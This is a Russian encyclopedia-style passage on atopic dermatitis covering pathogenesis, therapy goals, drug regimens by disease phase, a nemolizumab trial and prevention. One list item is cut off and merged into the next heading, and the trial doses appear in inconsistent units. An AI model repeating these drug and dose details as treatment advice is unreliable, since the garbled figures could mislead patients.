      Π’ основС АтД Π»Π΅ΠΆΠΈΡ‚ хроничСскоС аллСргичСскоС воспалСниС. ΠŸΠ°Ρ‚ΠΎΠ³Π΅Π½Π΅Π· АтД являСтся ΠΏΠΎΠ»ΠΈΡ„Π°ΠΊΡ‚ΠΎΡ€Π½Ρ‹ΠΌ ΠΏΡ€ΠΈ Π²Π΅Π΄ΡƒΡ‰Π΅ΠΉ Ρ€ΠΎΠ»ΠΈ ΠΈΠΌΠΌΡƒΠ½Π½Ρ‹Ρ… Π½Π°Ρ€ΡƒΡˆΠ΅Π½ΠΈΠΉ. Π’Π΅Π΄ΡƒΡ‰ΠΈΠΌ иммунопатологичСским ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΠΎΠΌ развития АтД ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ ΡΠΎΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΡ Th1/Th2 β€” Π»ΠΈΠΌΡ„ΠΎΡ†ΠΈΡ‚ΠΎΠ² Π² сторону Th2-Ρ…Π΅Π»ΠΏΠ΅Ρ€ΠΎΠ², Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚ ΠΊ измСнСнию Ρ†ΠΈΡ‚ΠΎΠΊΠΈΠ½ΠΎΠ²ΠΎΠ³ΠΎ профиля ΠΈ высокой ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ†ΠΈΠΈ спСцифичСских IgE-Π°Π½Ρ‚ΠΈΡ‚Π΅Π». Π’ качСствС ΠΈΠΌΠΌΡƒΠ½Π½ΠΎΠ³ΠΎ пускового ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΠ° ΠΏΡ€ΠΈ АтД выступаСт взаимодСйствиС Π°Π»Π»Π΅Ρ€Π³Π΅Π½ΠΎΠ² со спСцифичСскими Π°Π½Ρ‚ΠΈΡ‚Π΅Π»Π°ΠΌΠΈ (Ρ€Π΅Π°Π³ΠΈΠ½Π°ΠΌΠΈ) Π½Π° повСрхности Ρ‚ΡƒΡ‡Π½Ρ‹Ρ… ΠΊΠ»Π΅Ρ‚ΠΎΠΊ. НСиммунныС Ρ‚Ρ€ΠΈΠ³Π³Π΅Ρ€Π½Ρ‹Π΅ Ρ„Π°ΠΊΡ‚ΠΎΡ€Ρ‹ ΡƒΡΠΈΠ»ΠΈΠ²Π°ΡŽΡ‚ аллСргичСскоС воспалСниС ΠΏΡƒΡ‚Ρ‘ΠΌ нСспСцифичСского инициирования высвобоТдСния ΠΌΠ΅Π΄ΠΈΠ°Ρ‚ΠΎΡ€ΠΎΠ² аллСргичСского воспалСния (гистамин, Π½Π΅ΠΉΡ€ΠΎΠΏΠ΅ΠΏΡ‚ΠΈΠ΄Ρ‹, Ρ†ΠΈΡ‚ΠΎΠΊΠΈΠ½Ρ‹), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ ΠΏΡ€ΠΎΠ²ΠΎΡΠΏΠ°Π»ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ характСристики. Π’Π°ΠΆΠ½ΡƒΡŽ Ρ€ΠΎΠ»ΡŒ Π² ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠ°Π½ΠΈΠΈ хроничСского воспалСния ΠΊΠΎΠΆΠΈ ΠΏΡ€ΠΈ АтД ΠΈΠ³Ρ€Π°Π΅Ρ‚ ΠΊΠ°ΠΊ собствСнно грибковая ΠΈ кокковая инфСкция ΠΊΠΎΠΆΠΈ, Ρ‚Π°ΠΊ ΠΈ аллСргичСскиС Ρ€Π΅Π°ΠΊΡ†ΠΈΠΈ Π½Π° ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Ρ‹ Π±Π°ΠΊΡ‚Π΅Ρ€ΠΈΠ°Π»ΡŒΠ½Ρ‹Ρ… ΠΈ Π³Ρ€ΠΈΠ±ΠΊΠΎΠ²Ρ‹Ρ… ΠΊΠ»Π΅Ρ‚ΠΎΠΊ.

      ΠŸΠΎΠ΄Ρ…ΠΎΠ΄Ρ‹ ΠΊ Π»Π΅Ρ‡Π΅Π½ΠΈΡŽ

      Под воздСйствиСм Π°Π»Π»Π΅Ρ€Π³Π΅Π½Π° Π² ΠΎΡ€Π³Π°Π½ΠΈΠ·ΠΌΠ΅ Π°Ρ‚ΠΎΠΏΠΈΠΊΠΎΠ² запускаСтся Ρ†Π΅Π»Ρ‹ΠΉ каскад Π²ΠΎΡΠΏΠ°Π»ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… Ρ€Π΅Π°ΠΊΡ†ΠΈΠΉ. Π’ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ этого Π² ΠΎΡ‡Π°Π³Π΅ воспалСния образуСтся ΠΊΠ»Π΅Ρ‚ΠΎΡ‡Π½Ρ‹ΠΉ ΠΈΠ½Ρ„ΠΈΠ»ΡŒΡ‚Ρ€Π°Ρ‚, основу ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΡΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ ΠΊΠ»Π΅Ρ‚ΠΊΠΈ аллСргичСского воспалСния. Π­Ρ‚ΠΈ ΠΊΠ»Π΅Ρ‚ΠΊΠΈ Π²Ρ‹Π΄Π΅Π»ΡΡŽΡ‚ ΠΌΠ΅Π΄ΠΈΠ°Ρ‚ΠΎΡ€Ρ‹, Ρ†ΠΈΡ‚ΠΎΠΊΠΈΠ½Ρ‹, IgE. Π”Π°ΠΆΠ΅ ΠΏΡ€ΠΈ устранСнии Π°Π»Π»Π΅Ρ€Π³Π΅Π½Π° ΠΈΠ· окруТСния Ρ€Π΅Π±Ρ‘Π½ΠΊΠ° Π²ΠΎΡΠΏΠ°Π»ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ процСсс продолТаСтся. ВоспалСниС являСтся ΡΠ°ΠΌΠΎΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰ΠΈΠΌΡΡ. Π”Π°Π½Π½ΠΎΠ΅ ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π΄ΠΈΠΊΡ‚ΡƒΠ΅Ρ‚ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΡΡ‚ΡŒ провСдСния Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠΉ ΠΏΡ€ΠΎΡ‚ΠΈΠ²ΠΎΠ²ΠΎΡΠΏΠ°Π»ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ Ρ‚Π΅Ρ€Π°ΠΏΠΈΠΈ всСм ΠΏΠ°Ρ†ΠΈΠ΅Π½Ρ‚Π°ΠΌ с АтД. ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΊΠ»Π΅Ρ‚ΠΎΡ‡Π½Ρ‹ΠΉ ΠΈΠ½Ρ„ΠΈΠ»ΡŒΡ‚Ρ€Π°Ρ‚ Π΄Π°ΠΆΠ΅ ΠΏΡ€ΠΈ Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠΉ ΠΏΡ€ΠΎΡ‚ΠΈΠ²ΠΎΠ²ΠΎΡΠΏΠ°Π»ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ Ρ‚Π΅Ρ€Π°ΠΏΠΈΠΈ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΡ‡Π΅Π·Π½ΡƒΡ‚ΡŒ Π² Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠ΅ Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… Π΄Π½Π΅ΠΉ, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠ° Π΄Π»ΠΈΡ‚Π΅Π»ΡŒΠ½Π°Ρ базисная ΠΏΡ€ΠΎΡ‚ΠΈΠ²ΠΎΠ²ΠΎΡΠΏΠ°Π»ΠΈΡ‚Π΅Π»ΡŒΠ½Π°Ρ тСрапия β€” Π½Π΅ ΠΌΠ΅Π½Π΅Π΅ 2-3 мСсяцСв Π΄ΠΎ достиТСния ΠΏΠΎΠ»Π½ΠΎΠΉ клиничСской рСмиссии.

      НаправлСния Ρ‚Π΅Ρ€Π°ΠΏΠΈΠΈ АтД

      • ДиСтотСрапия ΠΈ ΠΌΠ΅Ρ€Ρ‹ ΠΏΠΎ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŽ внСшнСй срСды
      • БистСмная фармакотСрапия
      • антигистаминныС ΠΏΡ€Π΅ΠΏΠ°Ρ€Π°Ρ‚Ρ‹
      • ΠΌΠ΅ΠΌΠ±Ρ€Π°Π½ΠΎΡΡ‚Π°Π±ΠΈΠ»ΠΈΠ·ΠΈΡ€ΡƒΡŽΡ‰ΠΈΠ΅ ΠΏΡ€Π΅ΠΏΠ°Ρ€Π°Ρ‚Ρ‹
      • ΠΈΠ½Π³ΠΈΠ±ΠΈΡ‚ΠΎΡ€Ρ‹ ΠΊΠ°Π»ΡŒΡ†ΠΈΠ½Π΅Π²Ρ€ΠΈΠ½Π° [источник Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½ 177 Π΄Π½Π΅ΠΉ]
      • срСдства для лСчСния Π·Π°Π±ΠΎΠ»Π΅Π²Π°Π½ΠΈΠΉ ΠΆΠ΅Π»ΡƒΠ΄ΠΎΡ‡Π½ΠΎ-ΠΊΠΈΡˆΠ΅Ρ‡Π½ΠΎΠ³ΠΎ Ρ‚Ρ€Π°ΠΊΡ‚Π°
      • Π²ΠΈΡ‚Π°ΠΌΠΈΠ½Ρ‹
      • ΠΈΠΌΠΌΡƒΠ½ΠΎΠΌΠΎΠ΄ΡƒΠ»ΠΈΡ€ΡƒΡŽΡ‰ΠΈΠ΅ ΠΏΡ€Π΅ΠΏΠ°Ρ€Π°Ρ‚Ρ‹
      • ΠΏΡ€Π΅ΠΏΠ°Ρ€Π°Ρ‚Ρ‹, Ρ€Π΅Π³ΡƒΠ»ΠΈΡ€ΡƒΡŽΡ‰ΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ Π½Π΅Ρ€Π²Π½ΠΎΠΉ систСмы
      • ΠΏΡ€Π΅ΠΏΠ°Ρ€Π°Ρ‚Ρ‹, содСрТащиС нСнасыщСнныС ΠΆΠΈΡ€Π½Ρ‹Π΅ кислоты
      • Π°Π½Ρ‚ΠΈΠ±ΠΈΠΎΡ‚ΠΈΠΊΠΈ
      • систСмныС кортикостСроиды (ΠΏΠΎ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹ΠΌ показаниям)
    • НаруТная тСрапия
    • РСабилитация
    • ΠžΡΠ½ΠΎΠ²Π½Ρ‹Π΅ Ρ†Π΅Π»ΠΈ Ρ‚Π΅Ρ€Π°ΠΏΠΈΠΈ

      • УстранСниС ΠΈΠ»ΠΈ ΡƒΠΌΠ΅Π½ΡŒΡˆΠ΅Π½ΠΈΠ΅ Π²ΠΎΡΠΏΠ°Π»ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ ΠΈ ΠΊΠΎΠΆΠ½ΠΎΠ³ΠΎ Π·ΡƒΠ΄Π°
      • ВосстановлСниС структуры ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΊΠΎΠΆΠΈ (ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΠ΅ микроциркуляции ΠΈ ΠΌΠ΅Ρ‚Π°Π±ΠΎΠ»ΠΈΠ·ΠΌΠ° Π² ΠΎΡ‡Π°Π³Π°Ρ… пораТСния, нормализация влаТности ΠΊΠΎΠΆΠΈ)
      • ΠŸΡ€Π΅Π΄ΠΎΡ‚Π²Ρ€Π°Ρ‰Π΅Π½ΠΈΠ΅ развития тяТёлых Ρ„ΠΎΡ€ΠΌ заболСвания, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ приводят ΠΊ сниТСнию качСства ΠΆΠΈΠ·Π½ΠΈ Π±ΠΎΠ»ΡŒΠ½Ρ‹Ρ… ΠΈ ΠΈΠ½Π²Π°Π»ΠΈΠ΄ΠΈΠ·Π°Ρ†ΠΈΠΈ
      • Π›Π΅Ρ‡Π΅Π½ΠΈΠ΅ ΡΠΎΠΏΡƒΡ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ… Π·Π°Π±ΠΎΠ»Π΅Π²Π°Π½ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡƒΡ‚ΡΠΆΠ΅Π»ΡΡŽΡ‚ Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠ΅ АтД.
      Π§ΠΈΡ‚Π°ΠΉΡ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅:  Новиган ΠΎΡ‚ Ρ‚Π΅ΠΌΠΏΠ΅Ρ€Π°Ρ‚ΡƒΡ€Ρ‹

      Π’ основС АтД Π»Π΅ΠΆΠΈΡ‚ аллСргичСскоС воспалСниС, поэтому основу лСчСния ΡΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ противоаллСргичСскиС ΠΈ ΠΏΡ€ΠΎΡ‚ΠΈΠ²ΠΎΠ²ΠΎΡΠΏΠ°Π»ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ ΠΏΡ€Π΅ΠΏΠ°Ρ€Π°Ρ‚Ρ‹.

      ΠŸΠΎΠ»ΠΈΠΎΡ€Π³Π°Π½Π½ΠΎΡΡ‚ΡŒ ΠΏΠΎΡ€Π°ΠΆΠ΅Π½ΠΈΠΉ ΠΏΡ€ΠΈ АтД Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ провСдСния систСмной базисной Ρ‚Π΅Ρ€Π°ΠΏΠΈΠΈ противоаллСргичСскими ΠΏΡ€Π΅ΠΏΠ°Ρ€Π°Ρ‚Π°ΠΌΠΈ. Π—Π°Π±ΠΎΠ»Π΅Π²Π°Π½ΠΈΠ΅ ΠΈΠΌΠ΅Π΅Ρ‚ хроничСскоС Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠ΅ β€” Π»Π΅Ρ‡Π΅Π½ΠΈΠ΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ этапным ΠΈ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ.

      ΠŸΡ€ΠΎΡ‚ΠΈΠ²ΠΎΠ²ΠΎΡΠΏΠ°Π»ΠΈΡ‚Π΅Π»ΡŒΠ½Π°Ρ тСрапия ΠΏΡ€ΠΈ АтД

      ΠžΡΡ‚Ρ€Π°Ρ Ρ„Π°Π·Π°

      • АнтигистаминныС ΠΏΡ€Π΅ΠΏΠ°Ρ€Π°Ρ‚Ρ‹ 2-Π³ΠΎ поколСния (с Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ противоаллСргичСскими свойствами β€” Π°Π½Ρ‚ΠΈΠΌΠ΅Π΄ΠΈΠ°Ρ‚ΠΎΡ€Π½Ρ‹ΠΌΠΈ ΠΈ ΠΌΠ΅ΠΌΠ±Ρ€Π°Π½ΠΎΡΡ‚Π°Π±ΠΈΠ»ΠΈΠ·ΠΈΡ€ΡƒΡŽΡ‰ΠΈΠΌΠΈ (Π»ΠΎΡ€Π°Ρ‚Π°Π΄ΠΈΠ½)) β€” 4-6 нСдСль. (Π‘Ρ‹Π²Π°Π΅Ρ‚ обострСниС Π½Π° Ρ‚Π°ΠΊΠΎΠ³ΠΎ Ρ€ΠΎΠ΄Π° ΠΏΡ€Π΅ΠΏΠ°Ρ€Π°Ρ‚Ρ‹ ΠΈ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ Π΄ΠΎΠ±Π°Π²ΠΊΠΈ Π² этих ΠΏΡ€Π΅ΠΏΠ°Ρ€Π°Ρ‚Π°Ρ…).
      • АнтигистаминныС ΠΏΡ€Π΅ΠΏΠ°Ρ€Π°Ρ‚Ρ‹ 1-Π³ΠΎ поколСния Π½Π° Π½ΠΎΡ‡ΡŒ (Ссли Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌ сСдативный эффСкт) β€” 4-6 нСдСль. (Π‘Ρ‹Π²Π°Π΅Ρ‚ обострСниС Π½Π° Ρ‚Π°ΠΊΠΎΠ³ΠΎ Ρ€ΠΎΠ΄Π° ΠΏΡ€Π΅ΠΏΠ°Ρ€Π°Ρ‚Ρ‹ ΠΈ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ Π΄ΠΎΠ±Π°Π²ΠΊΠΈ Π² этих ΠΏΡ€Π΅ΠΏΠ°Ρ€Π°Ρ‚Π°Ρ…).
      • ΠŸΡ€ΠΈΠΌΠΎΡ‡ΠΊΠΈ (настойки ΠΊΠΎΡ€Ρ‹ Π΄ΡƒΠ±Π°, 1 % Ρ€-Ρ€ Ρ‚Π°Π½ΠΈΠ½Π°, Ρ€-Ρ€ Ρ€ΠΈΠ²Π°Π½ΠΎΠ»Π° 1:1000 ΠΈ Π΄Ρ€.), краситСли (Ρ„ΡƒΠΊΠΎΡ€Ρ†ΠΈΠ½, ΠΆΠΈΠ΄ΠΊΠΎΡΡ‚ΡŒ ΠšΠ°ΡΡ‚Π΅Π»Π°Π½ΠΈ, 1-2 % Ρ€-Ρ€ ΠΌΠ΅Ρ‚ΠΈΠ»Π΅Π½ΠΎΠ²ΠΎΠ³ΠΎ синСго ΠΈ Π΄Ρ€.) β€” ΠΏΡ€ΠΈ Π½Π°Π»ΠΈΡ‡ΠΈΠΈ экссудации.
      • НаруТныС Π³Π»ΡŽΠΊΠΎΠΊΠΎΡ€Ρ‚ΠΈΠΊΠΎΡΡ‚Π΅Ρ€ΠΎΠΈΠ΄Ρ‹ (ΠœΠΎΠΌΠ΅Ρ‚Π°Π·ΠΎΠ½ (Mometasone) ΠΊΡ€Π΅ΠΌ, лосьон) β€” 3-7 Π΄Π½Π΅ΠΉ ΠΈ Π½Π΅Π³ΠΎΡ€ΠΌΠΎΠ½Π°Π»ΡŒΠ½Ρ‹Π΅ Π½Π°Ρ€ΡƒΠΆΠ½Ρ‹Π΅ срСдства, ΠΏΠΎΡ‚Π΅Π½Ρ†ΠΈΡ€ΡƒΡŽΡ‰ΠΈΠ΅ дСйствиС топичСских Π³Π»ΡŽΠΊΠΎΠΊΠΎΡ€Ρ‚ΠΈΠΊΠΎΡΡ‚Π΅Ρ€ΠΎΠΈΠ΄ΠΎΠ² (РСглисам гСль).
      • БистСмныС Π³Π»ΡŽΠΊΠΎΠΊΠΎΡ€Ρ‚ΠΈΠΊΠΎΡΡ‚Π΅Ρ€ΠΎΠΈΠ΄Ρ‹ (ΠΏΡ€ΠΈ отсутствии эффСкта ΠΎΡ‚ ΠΏΡ€ΠΎΠ²ΠΎΠ΄ΠΈΠΌΠΎΠΉ Ρ‚Π΅Ρ€Π°ΠΏΠΈΠΈ).

      Π₯роничСская Ρ„Π°Π·Π°

      • АнтигистаминныС ΠΏΡ€Π΅ΠΏΠ°Ρ€Π°Ρ‚Ρ‹ 2-Π³ΠΎ поколСния β€” 3-4 мСсяца (Π‘Ρ‹Π²Π°Π΅Ρ‚ обострСниС Π½Π° Ρ‚Π°ΠΊΠΎΠ³ΠΎ Ρ€ΠΎΠ΄Π° ΠΏΡ€Π΅ΠΏΠ°Ρ€Π°Ρ‚Ρ‹ ΠΈ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ Π΄ΠΎΠ±Π°Π²ΠΊΠΈ Π² этих ΠΏΡ€Π΅ΠΏΠ°Ρ€Π°Ρ‚Π°Ρ…)
      • НаруТныС Π³Π»ΡŽΠΊΠΎΠΊΠΎΡ€Ρ‚ΠΈΠΊΠΎΡΡ‚Π΅Ρ€ΠΎΠΈΠ΄Ρ‹ (ΠœΠΎΠΌΠ΅Ρ‚Π°Π·ΠΎΠ½ (Mometasone) мазь)
      • ΠšΠΎΠΌΠ±ΠΈΠ½ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅ топичСскиС Π³Π»ΡŽΠΊΠΎΠΊΠΎΡ€Ρ‚ΠΈΠΊΠΎΡΡ‚Π΅Ρ€ΠΎΠΈΠ΄Ρ‹ Π½Π° основС Π‘Π΅Ρ‚Π°ΠΌΠ΅Ρ‚Π°Π·ΠΎΠ½Π°(Betamethasone), содСрТащиС Π°Π½Ρ‚ΠΈΠ±Π°ΠΊΡ‚Π΅ΠΈΡ€Π°Π»ΡŒΠ½Ρ‹Π΅ ΠΈ ΠΏΡ€ΠΎΡ‚ΠΈΠ²ΠΎΠ³Ρ€ΠΈΠ±ΠΊΠΎΠ²Ρ‹Π΅ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Ρ‹, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€: Ρ‚Ρ€ΠΈΠ΄Π΅Ρ€ΠΌ(Gentamycin+Betamethasone+Clotrimazole), Π΄ΠΈΠΏΡ€ΠΎΠ³Π΅Π½Ρ‚(Gentamycin+Betamethasone), дипросалик(Betamethasone+Salicylic ac > ΠŸΡ€ΠΎΡ„ΠΈΠ»Π°ΠΊΡ‚ΠΈΠΊΠ° обострСний
      • АнтигистаминныС ΠΏΡ€Π΅ΠΏΠ°Ρ€Π°Ρ‚Ρ‹ 3-Π³ΠΎ поколСния β€” 6 мСсяцСв ΠΈ Π±ΠΎΠ»Π΅Π΅. (Π‘Ρ‹Π²Π°Π΅Ρ‚ обострСниС Π½Π° Ρ‚Π°ΠΊΠΎΠ³ΠΎ Ρ€ΠΎΠ΄Π° ΠΏΡ€Π΅ΠΏΠ°Ρ€Π°Ρ‚Ρ‹ ΠΈ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ Π΄ΠΎΠ±Π°Π²ΠΊΠΈ Π² этих ΠΏΡ€Π΅ΠΏΠ°Ρ€Π°Ρ‚Π°Ρ…).
      • Π˜ΠΌΠΌΡƒΠ½ΠΎΠΌΠΎΠ΄ΡƒΠ»ΡΡ‚ΠΎΡ€Ρ‹ (ΠΈΠ½Π΄ΠΈΠ²ΠΈΠ΄ΡƒΠ°Π»ΡŒΠ½ΠΎ).
      • БпСцифичСская иммунотСрапия Π°Π»Π»Π΅Ρ€Π³Π΅Π½Π°ΠΌΠΈ (БИВ).
      • НаруТная тСрапия ΠΈ Ρ€Π°Ρ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹ΠΉ ΡƒΡ…ΠΎΠ΄ Π·Π° ΠΊΠΎΠΆΠ΅ΠΉ (ΠΏΡ€ΠΎΡ‚ΠΈΠ²ΠΎΠ²ΠΎΡΠΏΠ°Π»ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅, кСратопластичСскиС ΠΈ ΡƒΠ»ΡƒΡ‡ΡˆΠ°ΡŽΡ‰ΠΈΠ΅ ΠΌΠΈΠΊΡ€ΠΎΡ†ΠΈΡ€ΠΊΡƒΠ»ΡΡ†ΠΈΡŽ ΠΏΡ€Π΅ΠΏΠ°Ρ€Π°Ρ‚Ρ‹, срСдства с полинСнасыщСнными ΠΆΠΈΡ€Π½Ρ‹ΠΌΠΈ кислотами).

      Π­ΠΊΡΠΏΠ΅Ρ€ΠΈΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½ΠΎΠ΅ Π»Π΅Ρ‡Π΅Π½ΠΈΠ΅ НСмолизумабом

      Для лСчСния атопичСского Π΄Π΅Ρ€ΠΌΠ°Ρ‚ΠΈΡ‚Π° рассматриваСтся ΠΏΡ€Π΅ΠΏΠ°Ρ€Π°Ρ‚ НСмолизумаб (nemolizumab) β€” Π³ΡƒΠΌΠ°Π½ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ΅ моноклональноС Π°Π½Ρ‚ΠΈΡ‚Π΅Π»ΠΎ, спСцифичноС ΠΊ ΠΈΠ½Ρ‚Π΅Ρ€Π»Π΅ΠΉΠΊΠΈΠ½Ρƒ-31. Π’ ΠΆΡƒΡ€Π½Π°Π»Π΅ The New England Journal of Medicine Π² 2017 Π³ΠΎΠ΄Ρƒ Π±Ρ‹Π»ΠΈ ΠΎΠΏΡƒΠ±Π»ΠΈΠΊΠΎΠ²Π°Π½Ρ‹ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρ‹ II Ρ„Π°Π·Ρ‹ клиничСского исслСдования НСмолизумаба для лСчСния атопичСского Π΄Π΅Ρ€ΠΌΠ°Ρ‚ΠΈΡ‚Π° срСднСй ΠΈ тяТёлой Ρ„ΠΎΡ€ΠΌΡ‹. [3] Π’ Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠ΅ 12 нСдСль 264 взрослых ΠΏΠ°Ρ†ΠΈΠ΅Π½Ρ‚Π°, для ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… стандартная тСрапия топичСскими ΠΏΡ€Π΅ΠΏΠ°Ρ€Π°Ρ‚Π°ΠΌΠΈ Π½Π΅ принСсла успСха, ΠΏΠΎΠ»ΡƒΡ‡Π°Π»ΠΈ Π΄ΠΎΠ·Ρƒ НСмолизумаба Π² Ρ€Π°Π·Π½Ρ‹Ρ… Π΄ΠΎΠ·ΠΈΡ€ΠΎΠ²ΠΊΠ°Ρ… (0,1 ΠΌΠ³; 0,5 ΠΌΠ³; 2 ΠΌΠ³/ΠΊΠ³) ΠΈΠ»ΠΈ ΠΏΠ»Π°Ρ†Π΅Π±ΠΎ. ΠžΡ†Π΅Π½ΠΊΠ° интСнсивности Π·ΡƒΠ΄Π° ΠΏΡ€ΠΎΠ²ΠΎΠ΄ΠΈΠ»Π°ΡΡŒ ΠΏΠΎ Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½ΠΎ-Π°Π½Π°Π»ΠΎΠ³ΠΎΠ²ΠΎΠΉ шкалС, ΠΈΠ·ΠΌΠ΅Ρ€ΡΠ»Π°ΡΡŒ ΠΏΠ»ΠΎΡ‰Π°Π΄ΡŒ ΠΏΠΎΡ€Π°ΠΆΡ‘Π½Π½ΠΎΠ³ΠΎ участка. ΠΠ°ΠΈΠ»ΡƒΡ‡ΡˆΠΈΠ΅ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρ‹ Ρ‚Π΅Ρ€Π°ΠΏΠΈΠΈ Π΄Π°Π½Π½Ρ‹ΠΌ ΠΏΡ€Π΅ΠΏΠ°Ρ€Π°Ρ‚ΠΎΠΌ Π±Ρ‹Π»ΠΈ ΠΎΡ‚ΠΌΠ΅Ρ‡Π΅Π½Ρ‹ Ρƒ ΠΏΠ°Ρ†ΠΈΠ΅Π½Ρ‚ΠΎΠ², ΠΏΠΎΠ»ΡƒΡ‡Π°Π²ΡˆΠΈΡ… Π΄ΠΎΠ·Ρƒ ΠΏΠΎ 0,5 ΠΌΠ³/ΠΊΠ³. Π‘Ρ€Π΅Π΄ΠΈ Π½ΠΈΡ… сниТСниС интСнсивности Π·ΡƒΠ΄Π° составило 60 % , Π² Π³Ρ€ΡƒΠΏΠΏΠ΅ ΠΏΠ»Π°Ρ†Π΅Π±ΠΎ β€” 21 %; сокращСниС ΠΏΠ»ΠΎΡ‰Π°Π΄ΠΈ пораТСния β€” 42 %, Π² ΠΏΠ»Π°Ρ†Π΅Π±ΠΎ Π³Ρ€ΡƒΠΏΠΏΠ΅ β€” 27 %.

      ΠŸΡ€ΠΎΡ„ΠΈΠ»Π°ΠΊΡ‚ΠΈΠΊΠ° атопичСского Π΄Π΅Ρ€ΠΌΠ°Ρ‚ΠΈΡ‚Π°

      • ΠŸΠ΅Ρ€Π²ΠΈΡ‡Π½Π°Ρ ΠΏΡ€ΠΎΡ„ΠΈΠ»Π°ΠΊΡ‚ΠΈΠΊΠ° АтД состоит Π² ΠΏΡ€Π΅Π΄ΡƒΠΏΡ€Π΅ΠΆΠ΄Π΅Π½ΠΈΠΈ сСнсибилизации Ρ€Π΅Π±Ρ‘Π½ΠΊΠ°, особСнно Π² ΡΠ΅ΠΌΡŒΡΡ…, Π³Π΄Π΅ Π΅ΡΡ‚ΡŒ наслСдствСнная ΠΏΡ€Π΅Π΄Ρ€Π°ΡΠΏΠΎΠ»ΠΎΠΆΠ΅Π½Π½ΠΎΡΡ‚ΡŒ ΠΊ аллСргичСским заболСваниям
